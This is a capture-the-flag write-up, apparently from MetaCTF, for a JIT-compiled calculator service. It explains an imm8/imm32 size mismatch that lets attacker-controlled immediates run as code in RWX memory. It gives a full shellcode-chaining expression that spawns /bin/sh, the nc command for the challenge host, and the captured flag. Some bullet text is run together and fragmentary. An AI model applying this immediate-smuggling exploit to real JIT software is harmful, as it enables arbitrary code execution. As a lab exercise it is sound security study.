The service reads a single expression made of + and - with decimal integers, JIT-compiles it into native x86-64 code, executes it, and prints the result. The JIT uses RWX mmap, so if we can corrupt the generated code stream we can execute arbitrary instructions.
Key functions (from static analysis):
parse_ops: parses the input into a linked list of operations { op, value, next }. Only digits are allowed, and it supports an optional leading + or - for each number.jit_ops: allocates RWX memory and emits a tiny JIT program:
xor rax, raxadd/sub rax, imm (imm8 or imm32)retmain: reads input with scanf("%ms", &buf), builds ops, JITs, calls the JIT, prints the result, and loops.The JIT code bytes are copied from .rodata using memcpy, and immediates are written into the code stream after each add/sub opcode.
In jit_ops, the decision for opcode size and the decision for immediate size are inconsistent:
value <= 0x80, it emits the imm8 form (add/sub rax, imm8), which is 3 bytes: 48 83 C0 or 48 83 E8.value <= 0x7f:
<= 0x7f: write 1 byte (correct for imm8).> 0x7f: write 4 bytes (incorrect for imm8).For value = 0x80, the JIT uses the imm8 opcode but writes a 4-byte immediate. The extra 3 bytes become executable code. This gives a controlled jump into attacker-supplied bytes that follow.
rax to a safe RW address so the buggy opcode stream does not crash on unintended reads/writes. The .bss region at 0x404080 is writable.128 to trigger the mismatch and land execution in the following immediate stream.[ins0][ins1][0xEB][0x02]jmp +2 to skip the fixed add rax, imm32 opcode bytes that would otherwise execute./bin/sh\0 into the RWX buffer using mov al, imm8; stosb.argv on the stack: push NULL, push pointer to /bin/sh, set rsi = rsp.rdi = ptr("/bin/sh"), rdx = 0, rax = 59, syscall.Because the JIT memory is RWX, this code executes directly.
The following expression triggers the bug and spawns a shell:
4210816+128+48979794+48967600+48992426+48980656+48992426+48982448+48992426+48983728+48992426+48967600+48992426+48985008+48992426+48982192+48992426+48955568+48992426+48979794+49004593+48992336+48992338+48979540+49009201+48970672+2425357583
Run:
nc kubenode.mctf.io 31088
<paste expression>
cat flag.txt
MetaCTF{ju5t_1n_t1m3_t0_c4ptur3_th3_fl4g}
0x404080 are stable.mmap with PROT_READ|PROT_WRITE|PROT_EXEC).